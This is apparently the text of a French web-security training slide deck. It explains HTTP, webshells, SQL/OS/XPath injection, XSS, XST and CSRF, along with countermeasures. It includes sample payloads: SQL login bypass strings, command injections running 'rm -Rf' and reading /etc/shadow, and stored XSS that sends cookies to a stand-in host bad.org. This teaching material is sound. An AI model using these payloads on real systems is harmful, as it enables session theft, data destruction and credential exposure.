1. LOGO
Sécurité des Applications WEB
niveau 1
Attaques Cybernétiques
Tarek MOHAMED
CEH,CHFI,ESCP
Tarekmed.rachdi@gmail.com

2. Plan
I.
Introduction



II.
Statistiques et évolution des failles liées au Web selon CENZIC, GARTNER, Zone-H et OWASP.
Evolution des attaques applicatives.
Qui sont les hackers ?
Les technologies web





III.
Architecture d’une application WEB.
le protocole http.
Mythes et réalités de sécurité web.
L’application web la porte la plus facile pour les hackers.
Les WebShells.
Les technologies web





Terminologies essentielles.
Les attaques en injection (SQL Injection /command Injection/OS injection/Xpath injection/….)
Les attauques Cross site scripting/Cross-Site Request Forgery/.
Les attaques sur les sessions (Cache Poisoning/Hijacking/ Mauvaise gestion des sessions et de
l’authentification….)
Les vulnérabilités d’authentification et l’autorisation (Brute force/ insuffisance d’authentification
/ insuffisance d’autorisation/ Escalation de privilège/ Référence directe non sécurisée à un objet
…..)

3. Plan






La manipulation des fichiers (Remote File Include /Remote File upload/Path
Manipulation/Directory traversal/Directory indexing….)
Les attaques logiques (denie de service/Abus de fonctionnalité/ insuffisance anti-automation…).
Attaques sur la configuration standard (Mauvaise configuration/configuration par défaut/mot de
passe par défaut..)
L’attaque de Phishing.
Les attaques réseaux (DOS/DDOS/DNS cache poisonning)
Travaux pratiques : Manipulation et simulations de dizaines d’attaques web.
IV.
Les Bonnes pratiques du développement sécurisé et d’administration de
plate forme d’hébergement.




Bonnes pratiques de développement sécurisé.
Bonnes pour l’administration des sites web.
Bonnes pratiques pour la sécurité des plateformes web.
Travaux pratiques : correction des vulnérabilités.

4. Introduction

5. Introduction
 Au cours du processus de développement, la majorité se concentre sur
l’enrichissement des fonctionnalités, sur l’accélération du processus de
développement et sur la réduction des coûts, tout en négligeant les mauvaises
conséquences de ce rythme de développement sur la sécurité du produit.
 Les attaquants prennent le dessus et trouvent de plus en plus de succès en
exploitant les failles et les trous laissés par les développeurs.
 Risques les plus connus dans les applications Web :
•
•
•
•
•
•
SQL Injection,
Cross Site Scripting,
La manipulation de variables,
L’exploitation des mauvaises configurations ,
L’exploitation de certaines sections comme «J’ai oublié mon mot de passe»,
La mauvaise interprétation d’URL.

6. Introduction: statistiques
Source : Zone-H

7. Introduction: statistiques
Année 2011
Source : Zone-H

8. Introduction: statistiques
Novembre 2011
Source : Zone-H

9. Introduction: Evolution des attaques applicatives
Fonctionnalité
Sécurité
Facilité d'utilisation

10. Introduction: Evolution des attaques applicatives
% Attaques
% Dépenses
Application Web
10 %
75 %
90 %
25 %
Eléments Réseaux
Etude du GARTNER 2003
75% des attaques ciblent le niveau Applicatif
66% des applications web sont vulnérables
Etude du SANS (septembre 2009)
http://www.sans.org/top-cyber-security-risks/

11. Introduction: Evolution des attaques applicatives
3 sur 4 sites web d’affaire
sont vulnérables à des
attaques

12. Introduction: Evolution des attaques applicatives
Source : Rapport Cenzic – 1er semestre 2009

13. Introduction: Qui sont les hackers ?
Black Hats :créateurs de virus, cyberespions, cyber-terroristes ou cyber-escrocs,
agissant la plupart du temps hors-la-loi dans
le but soit de nuire, de faire du profit ou
d'obtenir des informations. (crackers)
White Hats :professionnels de la
sécurité informatique effectuant des
tests d'intrusions en accord avec leurs
clients et la législation en vigueur afin
de qualifier le niveau de sécurité de
systèmes.(security analysts)
Gray Hats :Les personnes qui
Suicide Hackers :Les
travaillent à la fois offensive et
défensive à des différentes reprises
personnes qui auront pour but de
faire désactiver les infrastructures
essentielles pour une «cause» et ne
pas s'inquiéter face à 30 ans de
prison pour leurs actions

14. Introduction: Hacktivisme
• hacktivisme est un acte de promotion d’une agenda par le
piratage qui se manifeste spécialement par le defacement ou la
désactivation des sites web.
• Comprend les pirates avec un programme social ou politique.
• Pirater des sites pour faire passer un message.
• Certains sites agissant fortement à la manière de script kiddies,
s'auto-proclament hacktivistes sans aucun fondement.

15. Les technologies web

16. Architecture Web
Serveur WEB
•Microsoft IIS
•Apache
•…
APPLICATION WEB
BD
•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…
•SQL Server
•Oracle
•MySql
•Postgres
•…
•ADO
•ODBC
•…

17. Le protocole HTTP
Requête
http://www.le-site.com/
GET /index.html HTTP/1.0
Host : www.le-site.com
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Sun, 9 Fev 2006 10:46:17 GMT
Content-length: 324
Content-type: text/html
Last-modified: Tue, 14
Dec 2005 16:38:08 GMT
Connection: close
<blank line>
<html> <head></head>
<body>
Bienvenu dans le Site.
</body>
</html>

18. Le protocole HTTP
Les Méthodes HTTP
GET
Renvoie le contenu du document
indiqué, peut placer des paramètres
dans l’entête de la requête
POST
Demande un document comme GET, peut
traiter le document comme s’il était un script
et lui envoi des données, peut placer des
paramètres
TRACE
Cette méthode demande au serveur de
retourner ce qu'il a reçu, dans le but de
tester et effectuer un diagnostic sur la
connexion.
PUT
Inscrit des données dans le
contenu du document
CONNECT
Demande une connexion au serveur relais
pour établir une communication via un
tunnel (exemple SSL)
HEAD
Retourne l’information de l’entête du
document (Taille de fichier, date de
modification, version du serveur)
OPTIONS
Demandes des informations sur les
options disponibles sur communication
DELETE
Efface le document indiqué

19. Le protocole HTTP
Les réponses HTTP
Code de réponse donné par le serveur au client:
-100-199 Informationnel
100 : Continue (le client peut envoyer la suite de la requête), ...
-200-299 Succès de la requête client
200: OK, 201: Created, 204 : No Content, ...
-300-399 Redirection de la Requête client
301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ...
-400-499 Requête client incomplète
400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found
-500-599 Erreur Serveur
500: Server Error, 501: Not Implemented,
502: Bad Gateway, 503: Out Of Resources (Service Unavailable)

20. Le protocole HTTP
Requête
http://www.le-site.com/client/login.php?login=acheteur&password=pass2006
http:// www.le-site.com/client/
Serveur
Web
•Microsoft IIS
•Apache
•…
login.php?
login=acheteur&password=pass2006
DB
Application Web
•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…
•ADO
•ODBC
•…
•SQL Server
•Oracle
•MySql
•Postgres
•…

21. Le protocole HTTP
Les types de paramètres:
 Variables GET: Elles sont données dans l’URL de
demande
 Variables POST: Fournies par un formulaire.
 Variables Cookies: Variables conservées par le
navigateur sur son disque dur et généralement
fournies par le serveur.

22. Le protocole HTTP
Les variables GET
 Décrites dans l’URL
 http ://www.google.com/search ?p=html&hl=fr
 Ici 2 variables p et hl, avec les valeurs html et
fr.
 Généralement provenant d’une interrogation
directe
 Dans le cas présent, plutôt rare, il s’agit
d’envoi par formulaire(method=GET)

23. Le protocole HTTP
 Les variables POST
 Remplies par un formulaire
 Utilisées quand on a un grand volume de donn´ees `a
envoyer
 Utilisées quand on a un grand nombre de variables
 Non tracées par les journaux des daemons (hormis
modules spécifiques)
 Traitement particulier des variables Hidden qui sont
cachées
 pour l’utilisateur, mais pas pour le navigateur.

24. Le protocole HTTP
 Les variables cookies:
 Notion de valise de variables stockées sur le client
 Transmises de manière transparente dans la requête
 C’est le serveur qui est sens´e positionner ces
variables pour une durée limitée
 Un serveur ne peut généralement (sauf faille de
sécurité) demander a accéder qu’aux variables :
• Qu’il a lui-même positionnées
• Qu’une machine de son domaine a positionnées (et si celle-ci l’a
autorise)
• Qu’une machine d’un domaine de confiance a positionnées (si
celle-ci l’a autorisé)

25. Mythes et réalités de sécurité web.
 Mythe N°1 « Sans demande particulière, le développeur
me fournira une solution sécurisée »
 Sans des précautions particulières ne sont pas prises, l’application
web n’est pas sécurisé.
 Il est fort probable que des vulnérabilités existent dans l’application
web et qu’elles puissent impacter la confidentialité, l’intégrité ou la
disponibilité de l’application et des données traitées.
 Ce qui est vrai pour tout type d’application l’est encore plus pour une
technologie à l’origine conçue pour permettre un accès totalement
libre aux informations, et donc où les mécanismes d’authentification,
de gestion de session et de contrôle d’accès ne sont pas natifs.
 Le donneur d’ordre doit donc faire en sorte que les bonnes pratiques
de sécurité soient comprises et appliquées par le maître d’œuvre, puis
se doter des moyens de contrôler le niveau de sécurité de
l’application

26. Mythes et réalités de sécurité web.
 Mythe N°2 « Seuls des génies de l’informatique savent
exploiter les failles des applications Web »
 Les failles de sécurité au sein des applications Web sont le plus souvent
faciles à exploiter. Un attaquant n’a souvent besoin que d’un simple
navigateur Web pour identifier et exploiter des failles de sécurité.
 Des outils complémentaires, comme des logiciels de proxy locaux, capables
d’intercepter les requêtes entre le navigateur et le serveur Web sont
disponibles gratuitement sur Internet.
 Les technologies Web reposent en outre sur un ensemble de protocoles,
langages, et architectures ouverts, dont les spécifications sont librement
accessibles.
 N’importe qui peut donc étudier ces référentiels et les flux échangés entre
l’application Web et le client, pour identifier des failles d’implémentation ou
de conception.

27. Mythes et réalités de sécurité web.
 Mythe N°3 « Mon site Web est sécurisé puisqu’il est
protégé par SSL »
 La technologie SSL a été conçue pour éviter que des données sensibles,
comme des données de paiement, soient transmises « en clair » sur Internet,
et les sites commerciaux arborent aujourd’hui tous un logo « site sécurisé par
un certificat SSL ».
 Lors de l’explosion du e- commerce, les medias ont expliqué qu’un
internaute ne devait se considérer sur un site de confiance que si le fameux
cadenas s’affichait dans la barre d’état du navigateur Web.
 La dérive vers le mythe du « Mon site est sécurisé puisque il est protégé par
SSL » s’explique donc facilement.
 SSL est un mécanisme de sécurité nécessaire pour protéger la confidentialité
et l’intégrité des données échangées entre le client et le serveur,
 il n’est pas suffisant pour protéger totalement l’application Web, notamment
des attaques contenues dans le flux Web envoyé par le client au serveur, qui
passent donc dans le tuyau « SSL ».

28. Mythes et réalités de sécurité web.
 Mythe N°4 : « Je suis protégé contre les attaques, j’ai un
firewall »
 Un firewall efficace dans la plupart des cas pour empêcher des accès non
autorisés à l’infrastructure hébergeant les applications Web, comme les
services réseau des systèmes d’exploitation ou des bases de données, et sont
donc nécessaires.
 Malheureusement, ils sont insuffisants pour assurer la sécurité d’une
application web, car les failles applicatives sont exploitées via des canaux de
communication normaux et nécessaires au bon fonctionnement de
l’application, et donc autorisés par le pare- feu.

29. L’application web la porte la plus facile pour les hackers
Problème essentiel ses dernières années: applicatif
-90% des tests intrusifs : applicatif
-≃ 100% des cas : présence de vulnérabilités exploitables
Pourquoi ?
Domaine en forte évolution (Web 2.0, Web Services ...)
Trop peu de sensibilisation des développeurs à la sécurité
Traitement des aspects sécurité trop tardif
Manque de temps et de budget
⇒ Mise en production avec des vulnérabilités exploitables.

30. L’application web la porte la plus facile pour les hackers
Classiques: atteinte à l'image de la cible
-Défiguration du site web
-Récupération et diffusion d'informations client.
⇒ Exploitations itératives des vulnérabilités.
Plus vicieux: serveur web = serveur rebond
-Prise de contrôle du serveur web
-Rebond sur des équipements internes ou tierces
⇒ Déploiement de nouvelles applications: webshells

31. Webshell ?
 Le WebShell est une porte ouverte dans une application ou serveur
web.
 Simple script PHP, ASP, JSP,PERL etc.
 Accessible via une URL à partir d’un navigateur web.
 Exécutant des actions systèmes sous l'identité du serveur web.
 Permettant le rebond en interne ou vers des sites tiers à travers HTTP.
 Exécution de commandes systèmes sur le serveur web.
 Permet de prendre un contrôle totale sur un serveur.

32. Webshell ?
Impacts:
 Défiguration du site web.
 Récupération et diffusion d'informations client.
 Vol de session utilisateurs.
 Prise de contrôle totale du serveur web.
 Rebond sur des équipements internes ou tierces.
 Déploiement de portes dérobées: webshells.

33. Webshell ?
Base des
données
Spam
Firewall
Serveur
d’applications
Webshell
HTTP
80
Routeur/commutateu
r

34. Webshell ?
 Vulnérabilités dans les socles applicatifs (CMS).
 Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)
 Mauvais filtrage des extensions de fichiers pour les uploads
 Inclusion de fichiers (File include).
 Compromission d'une interface d'administration (Brute force,mot de
passe banale).
 Une fois le Shell est déployé, on peut exécuter de commandes
systèmes, prise de contrôle totale.

35. Webshell ?
 Vulnérabilités dans les socles applicatifs (CMS).
 Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)
 Mauvais filtrage des extensions de fichiers pour les uploads
 Inclusion de fichiers (File include).
 Compromission d'une interface d'administration (Brute force,mot de
passe banale).
 Une fois le Shell est déployé, on peut exécuter de commandes
systèmes, prise de contrôle totale.

36. Webshell ?
 Les attaques applicatives sont bien réelles:
• Parfois facile à mettre en œuvre.
• Outils existants (C99, R57 ...)
 Les attaques ne proviennent pas toujours de l'extérieur:
• Les serveurs web peuvent être atteints depuis l'interne
• Les attaquants ne sont pas toujours ceux que l'on croit
(MACARON)

37. Les attaques web

38. Terminologies essentielles
Menace-Une action ou un événement qui pourrait compromettre la
sécurité. Une menace est une violation potentielle de la sécurité
Vulnérabilité - ou faille est l’existence une faiblesse dans un système
informatique au niveau de la code source ou la conception, permettant à
un attaquant de porter atteinte à l'intégrité de ce système
Exploit –Un exploit est un programme qui permet d'exploiter une
vulnérabilité de sécurité dans un système d'exploitation ou un logiciel, il est
employé par les hackers afin de prendre le contrôle total ou partiel d'un
ordinateur.
Attaque - Un assaut sur la sécurité du système qui dérive d'une menace
intelligente. Une attaque est une action qui viole la sécurité.
Script kiddie - passent l'essentiel de leur temps à essayer d'infiltrer des
systèmes, en utilisant des scripts ou programmes mis au point par d'autres.

39. Les attaques web

40. Injection

41. Injection
L’injection
•Envoyer à une application des données générant un comportement non
attendu.
Les Interpréteurs
•Utilisent les chaines et les interpretent comme des commandes
•SQL, OS Shell, LDAP, XPath, etc…
L’injection SQL est toujours commune
•Enormément d’applications y sont sensibles
•Même s’il est très simple de s’en affranchir….
Impact
•Souvent très sévère. Le plupart du temps l’ensemble des données de la base
sont lisibles ou modifiables.
•Cela peut même aller jusqu’au schéma de la base, les comptes ou un accès
OS….

42. SQL Injection
 technique qui permet aux attaquants d’injecter des
requêtes SQL directement sur la base de données qui se trouve
derrière un serveur Web, en manipulant l’entrée « INPUT » à une
application.
Exemple : sur une page d’authentification « login.asp », l’utilisateur est
amené à saisir un Nom d’utilisateur « User1 » et un mot de passe «
pass2012 », cette opération se traduit sous forme d’un requête SQL :
SELECT * FROM Utilisateur WHERE nom= ‘User1' and
mot_passe=‘pass2012’

43. SQL Injection
Cette requête doit retourner à l’application un ou plusieurs
champs à partir de la base de données. Supposons que l’utilisateur
saisit la valeur du nom d’utilisateur la valeur « or 1=1-- » la
requête sera sous la forme
SELECT * FROM Utilisateur WHERE Utilisateur = or
1=1-- and mot_passe =''

44. SQL Injection
Dans le cas de SQL Server, « -- » est utilisé pour mettre un
commentaire jusqu’à la fin de la ligne, la requête serait alors
SELECT * FROM Utilisateur WHERE username= or 1=1
Cette requête recherche dans la base de données les champs
dont le nom d’utilisateur est vide en réponse à la condition. La
requête va retourner tous les champs de la table utilisateur et
l’attaquant serait authentifié.
L’attaquant a réussi ainsi à s’authentifier sans avoir pour autant
utilisé de nom d’utilisateur ni de mot de passe.

45. SQL Injection
Exemple
User:
‘ or 1=1 #
Pass:
connection.php
Admin.php
Etc…
DB

46. SQL Injection
Exemple
Accès
avec les
droits
de
l’administrateur

47. SQL INJECTION – Comment se protéger
 Recommandations
1. Se passer des interpréteurs,
2. Utiliser une interface permettant de préparer les requêtes (ex,
prepared statements, or les procédures stockées),
3. Encoder toutes les données fournies par l’utilisateur avant de les
passer à l’interpréteur
 Toujours effectuer une validation de type “white liste” sur les
données utilisateurs.
 Minimiser les privilèges dans les bases pour limiter l’impact de la
faille.

48. SQL INJECTION – Comment se protéger
Solution:
Il est très simple d’éviter l’SQL injection durant la phase de
développement de l’application. Il est nécessaire de vérifier tous les
champs INPUT qui seront saisis par l’utilisateur avant de construire la
requête SQL. La meilleur technique est de supprimer tous les INPUT
indésirables et de n’accepter que celles qui sont prévu. Cette opération
de vérification est plus effective lorsqu’elle se fait côté serveur. L’autre
méthode est d’éviter l’usage de requêtes dynamiques et ce en
remplaçant les requêtes par des procédures déjà stockées ou bien par la
collecte de variables à partir d’une base de données.
Il y a des fonctions implémentée selon le langage de programmation :
- Bin_param() – Perl
- CreateParameter() – ASP (ADO Command Objects )
- mysql_stmt_bin_param() – PHP
- CallableStatements et PreparedStatements -- JAVA

49. SQL INJECTION – Comment se protéger
 Solution: Les procédures stockées
Les procédures stockées permettent d’éviter l’SQL
Injection parce que les INPUT du côté client ne sont
plus utilisées pour créer des requêtes dynamiques.
Les procédures stockées sont des groupes
précompilés de requêtes SQL, cette procédure
accepte les INPUT sous forme de paramètres ce qui
permet d’éviter la construction de requêtes
dynamiques.

50. SQL INJECTION – Comment se protéger
Solution: La vérification des INPUT par des JavaScript
Ce procédé ne permet pas à l’attaquant d’entrer des données
malicieuses directement dans le champs INPUT mais ce n’est
pas suffisant pour éviter l’SQL Injection.
Le script côté client ne vérifie que les INPUT côté navigateur
ce qui ne garantit pas que les données prescrites ne seront pas
modifiées au cours du chemin vers le serveur. Il y a des outils
qui permettent de capturer les requêtes et de les changer avant
de les envoyer au serveur, l’attaquant peut aussi injecter des
instructions dans les variables de la requête, et ceci ne peut pas
être vérifié par le script côté client.

51. SQL INJECTION – Comment se protéger
Solution: Les servlets Java
Les servlets sont vulnérables si les champs INPUT ne sont pas
vérifiés et si la requête est construite dynamiquement. Mais les
servlets Java ont certains mécanismes pour prévenir l’SQL
Injection comme CallableStatements et PreparedStatements.
C’est comme les procédures stockées elles permettent
d’éviter les requêtes dynamiques.
Try {
Connection conn = DriverManager.getConnection("connect string");
String command_sql = "INSERT INTO tablesname VALUES(?, ?,?)";
PreparedStatement ps = conn.prepareStatement(command_sql);
ps.setString(nom, s1);
ps.setString(prenom, s2);
ps.setInt(age, s3);
ps.executeUpdate();
…

52. Command Injection
L'attaque injection de commandes consiste :
- A injecter et exécuter des commandes spécifiées par l'attaquant
dans l'application vulnérable.
- Toutefois, les commandes sont exécutées sur le serveur cible
et l’ attaquant ayant un accès partiel ou totale sur tout le
serveur d’hébergement.
- - l'attaquant peut ajouter son propre code pour le code existant
pour prolonge la fonctionnalité par défaut de l'application sans
la nécessité d'exécuter des commandes système.

53. 44
Command Injection
listing.php
1
<?php
echo system("ls -1 *.".$_GET['ext']);
?>
/listing.php?ext=php;cd/;rm+-Rf+*
2
ls -1 *.
php;cd/;rm+-Rf+*
3
cnx.php
index.php
connectBase.php
listing.php
4
/
5

54. Command Injection
Example Language: Java
...
String ping= request.getParameter ("cmd");
java.lang.Runtime.getRuntime().exec(ping);
...
Un attaquant d'exécuter des commandes arbitraires avec des
privilèges élevés à travers l'application en injectant par exemple
dans l’entrée ping une code arbitraire par exemple « 10.10.10.10|cat
/etc/shadow » pour afficher tous les mots des passes des utilisateurs
systéme en MD5.

55. Injection OS
Attaquant
Site web
L'attaquant
envoie une
requête
malveillante
contenant
OScommand
Exécute
OS command
Falsification
Des fichiers
Virus
Information
Leak
Application vulnérable au
injection de commande OS
Opération
Non autorisé
Autres

56. Injection OS
Injection OS:
Technique utilisée pour exploiter les sites Web en
exécutant des commandes du système d'exploitation par
le biais de la manipulation de la demande d'entrée.
Exemple:
URL d’origine
http://example /cgibin/showInfo.pl?name=John&template=temp1.txt
OS Command
http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|

57. Injection OS
Patterns vulnérables pour injection OS:
Pour définir les vulnérabilités d’injection de commande
système travers une application, il faut définir la relation entre
le code source d’une application et le système d'exploitation.
L'application utilisant les fonctions du système d'exploitation
sous-jacent.
En Java en utilisant l'objet d'exécution: java.lang.Runtime.
En NET :System.Diagnostics.Process.Start sont utilisés
pour appeler des commandes OS.
En PHP on peut chercher des appels tels que exec () ou
passthru () et c….

58. Injection OS
Les menaces possible:
 Voir, falsifier ou supprimer des fichiers stockés sur le serveur
• Divulgation d'informations sensibles, la falsification des
fichiers de configuration..
 Manipuler le système
• Arrêt OS, ajouter /supprimer des comptes utilisateurs
 Télécharger et exécuter des programmes malveillants
• Infection virale, ver et bot, implémentation de backdor
 Rendre le système de point de départ pour attaquer d'autres
• Déni de service, spamming,…

59. Injection OS
Solution:
 Évitez d'utiliser des fonctions qui pourraient appeler des
commandes shell.
 Lorsque vous utilisez des fonctions qui pourraient
appeler des commandes shell, vérifiez toutes les
paramètres d’entrées que ne contenant pas des
commandes système.

60. XPath Injection
XPath Injection:
XPath: langage utilisé pour traiter des fichiers XML.
XPath injection: Technique d’attaque utilisée pour exploiter des sites Web
qui construisent des requêtes XPath à partir des entrées fourni par
l'utilisateur.
Exemple:
Même principe que du SQL Injection.

61. XPath Injection
Exemple:
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>ALI</FirstName>
<LastName>saleh</LastName>
<UserName>ALI</UserName>
<Password>AliSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>MED</FirstName>
<LastName>Salem</LastName>
<UserName>med</UserName>
<Password>MedSecret</Password>
<Type>User</Type>
</Employee>
</Employees>

62. XPath Injection
Exemple:
VB:
Dim FindUserXPath as String FindUserXPath =
"//Employee[UserName/text()='" & Request("Username") &
"' And Password/text()='" & Request("Password") & "']"
C#:
String FindUserXPath; FindUserXPath =
"//Employee[UserName/text()='" + Request("Username") +
"' And Password/text()='" + Request("Password") + "']";

63. XPath Injection
Exemple:
Username: blah' or 1=1 or 'a'='a
Password: blah
//Employee[UserName/text()='blah' or 1=1 or 'a'='a' And
Password/text()='blah']
Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or ('a'='a' And
Password/text()='blah')]

64. Cross site scripting
&
Cross-Site Request Forgery

65. Cross site scripting(XSS)
 Cette technique consiste a injecté du java script, VB, ActiveX,
par le bais du navigateur de l’utilisateur dans le but d’accéder
a des informations, des cookies, configuration …
 L'attaque XSS touche principalement l'utilisateur, et permet
même dans certaines cas d'exécuter des commandes aléatoires
sur la machine.
 Il n'y a pas de moyen de protection efficace côté client que de
désactiver l'exécution des scripts java, ActiveX ce qui gêne
vraiment la navigation.

66. Cross site scripting(XSS)
 Ces données sont peuvent être:
 Stockées en base,
 Réfléchies depuis une entrée d’une page Web (champ de
formulaire, champ caché, URL, …).
 Envoyées directement à un client Riche (Javascript, Flash, …)
 Virtuellement toute application Web est vulnérable
 Essayez cela dans votre navigateur
•
•
javascript:alert(‘’XSS’’);
javascript:alert(document.cookie);
 Impact:
 Vol des sessions utilisateur, de données sensibles…,
 redirection vers un site d’hameconnage ou autre code
malveillant.

67. Cross site scripting(XSS)
Scénario classique
Moteur de recherche
Tunis
Aucune page ne correspond à : Tunis
Chercher

68. Cross site scripting(XSS)
Scénario classique
Moteur de recherche
<script>alert(“Test")</script>">
Chercher

69. Cross site scripting(XSS)
Annonce:
Email :
Envoyer
Attaquant
<script>document.location=‘’http://www.
attaque.com/virus.exe</script>
Internet
attaquant@xxxxx.com
Annuler

70. Cross site scripting(XSS)
http://www.attaque.com/virus.exe
Internet
WWW.attaquant.com
victime

71. Cross site scripting(XSS)
1.EXEMPLE XSS
nom Smith<script>alert(document.cookie)</script>
mail john.smith@bad.org
Bonjour Smith

72. 29
Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web

XSS envoyé par le pirate
Smith <script
src=http://bad.org/c.js>
</script>
XSS
Application
Web
nom Smith<script src=http://bad.org/c.js></script>
mail john.smith@bad.org
XSS
SGBD

73. 30
Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web

XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS
admin.
1 GET liste_inscrits.php
Application
Web
XSS
Smith <script src=http://bad.org/c.js></script>
Smith <script src=http://bad.org/c.js>
</script>
2
XSS
SGBD

74. 31
Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web

XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS
admin.
1 GET liste_inscrits.php
3
Smith <script
src=http://bad.org/c.js>
</script>
Application
Web
XSS
XSS
SGBD
2
Smith <script src=http://bad.org/c.js></script>
GET http://bad.org/c.js
bad.org

75. 32
Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web

XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS
Smith <script
src=http://bad.org/c.js>
</script>
admin.
1 GET liste_inscrits.php
3
Application
Web
XSS
SGBD
2
XSS
GET http://bad.org/c.js
4
document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’)
c.js
bad.org

76. 33
Cross site scripting(XSS)
1.Exemple XSS

Attaque stockée sur le serveur web

XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS
Smith <script
src=http://bad.org/c.js>
</script>
admin.
1 GET liste_inscrits.php
5
3
Application
Web
XSS
SGBD
2
XSS
GET http://bad.org/c.js
4
document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')
GET http://bad.org/c.php?idsess=a2345effb9ccd78
c.js
bad.org

77. 34

Cross site scripting(XSS)
1.Exemple XSS
Attaque stockée sur le serveur web

XSS envoyé par le pirate

l’accès à une ressource provoque l’exécution du XSS
Smith <script
src=http://bad.org/c.js>
</script>
admin.
1 GET liste_inscrits.php
5
3
Application
Web
XSS
SGBD
2
XSS
vol de session
6
idsess=a2345effb9ccd78
GET http://bad.org/c.js
4
document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>')
GET http://bad.org/c.php?idsess=a2345effb9ccd78
c.js
bad.org

78. 35
Cross site scripting(XSS)
2. Exemple XSS

Attaque réfléchie

1
Pirate place un XSS (mail, lien dans page web)
XSS
2
XSS
1

79. 36
Cross site scripting(XSS)
2.Exemple XSS
Attaque réfléchie



1
Pirate place un XSS (mail, lien dans page web)
Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)
XSS
XSS
XSS
2
XSS
1
2
3
3

80. 37
Cross site scripting(XSS)
2. Exemple XSS

Attaque réfléchie

Pirate place un XSS (mail, lien dans page web)

Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)

1
XSS
Serveur web : reçoit et retourne le XSS
XSS
XSS
4
2
4
XSS
1
2
3
XSS
3
XSS

81. 38
Cross site scripting(XSS)
2. Exemple XSS

Attaque réfléchie

Pirate place un XSS (mail, lien dans page web)

Internaute : envoie le XSS au serveur (clic sur un lien dans
mail/page, téléchargement automatique d une ressource)


1
XSS
Serveur web : reçoit et retourne le XSS
Navigateur : exécute le XSS
XSS
XSS
4
2
4
XSS
1
2
3
XSS
3
XSS

82. Cross site scripting(XSS)
 Cross Site Tracing (XST)
Un attaquant peut contourner l’attribut « HTTP Only cookies» pour voler
les informations contenus dans les cookies via le Cross Site tracing (XST).
TRACE est une méthode HTTP qui peut être envoyée au serveur. Le
serveur renvoie au navigateur du client tout ce qu’il y avait dans la
requête TRACE.
Dans un site utilisant les cookies, l’information du cookie est envoyée au
serveur à chaque requête, si on envoie une requête TRACE dans une URL
pour un site pareil, le serveur va renvoyer toutes les informations du
cookie vers le navigateur.

83. Cross site scripting(XSS)
Scénario (XST):
Dans une situation similaire au cas décrit pour l’XSS, mais dans ce cas le «
HTTP Only cookies » est activé. L’attaquant construit un lien qui contient
un script qui fait appel à la méthode TRACE, quand un utilisateur clique
sur le lien, une requête TRACE avec les informations du cookies sont
envoyés au serveur. Le serveur renvoie ainsi les informations du cookie au
script dans le navigateur; supposant que ce script contient du code
malicieux qui envoie ces informations à l’attaquant. Ainsi l’attaquant a
réussi à voler les cookies quoique le « HTTP Only Cookies » soit activé.
Le « HTTP Only cookies » permet d’éviter l’accès direct aux cookies par
les attaquants mais ces derniers sont aussi capables de le chercher à travers
des méthodes indirectes.
L’XST peut être évité en désactivant la méthode TRACE sur
le serveur Web.

84. XSS– Contre mesures
 Recommandations
 Supprimer la faille 
•
Ne pas inclure de contenu fourni par l’utilisateur dans la page de
sortie !!!
 Défenses possibles
1. Encoder toutes les entrées et sorties utilisateurs
2. Effectuer de la validation de type « white liste » pour les données
utilisateurs entrantes qui sont inclues dans une page.
3. Pour des grosses portions de code HTML fourni par un utilisateur,
utiliser le filtre OWASP Anti-Sammy de manière à nettoyer l’HTML
(AntiSamy)

85. XSS– Contre mesures
Solution:
 L’XSS peut être évité dès la phase de développement de l’application. Il devrait
valider tous les INPUT et les OUTPUT vers (et en provenance de) l’application,
éliminer tous les caractères spéciaux pourrant être utilisés dans un script.
 L’XSS peut être évité si l’application remplace les caractères spéciaux par ceux
inscrit ci-dessous avant de les afficher sur le navigateur :
< &lt;
> &gt;
( &#40;
) &#41;
# &#35;
& &#38;
 Il y a des fonctions déjà disponibles suivant le langage utilisé
 HtmlEncode() – ASP
 Htmlentities() – PHP
 Taglibs ou la classe javax.swing.text.html – J2EE
 escapeHTML() – Perl

86. XSS– Contre mesures
Solution:
Une autre méthode permet de prévenir l’XSS avec moins de codage
comparé à la méthode de validation des INPUT et des OUTPUT, en
effet, Internet Explorer 6 possède l’attribut « HTTP Only Cookies»
qui peut être activer pour les cookies. L’utilisation de cet attribut
rend les cookies inaccessibles par n’importe quel scripts.

87. Cross Site Request Forgery (CSRF)
• C’est une attaque ou le navigateur de la victime génère une requête
vers une application Web vulnérable
• Cette vulnérabilité est causée par la capacité que les navigateurs ont
d’ envoyer automatiquement des données d’authentification
(session ID, IP adresse, comptes de domaine windows, ..) dans
chaque requête.
Imaginez
• Que se passerait-il si un attaquant pouvait utiliser votre souris pour
effectuer des clicks sur votre site de banque en ligne a votre place.
• Que pourrait-il faire ?
Impact
• Initiation de transactions (transfert de fonds, logoff, modification de
données, …)
• Accès à des données sensibles
• Changement des mots de passes/identifiants

88. CSRF
Exploite la confiance qu’un site a en un utilisateur
 Cible de l’attaque = site web
 But : modifications sur le site
 Méthodes d’attaque :

principalement GET (attaque dans l’URL)
 POST


89. 53
Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…
1
membre d’un
site protégé
<img
src='article.php?id=3&action=del'
width='0'>
SGBD

90. 54
Ajouter un commentaire
…
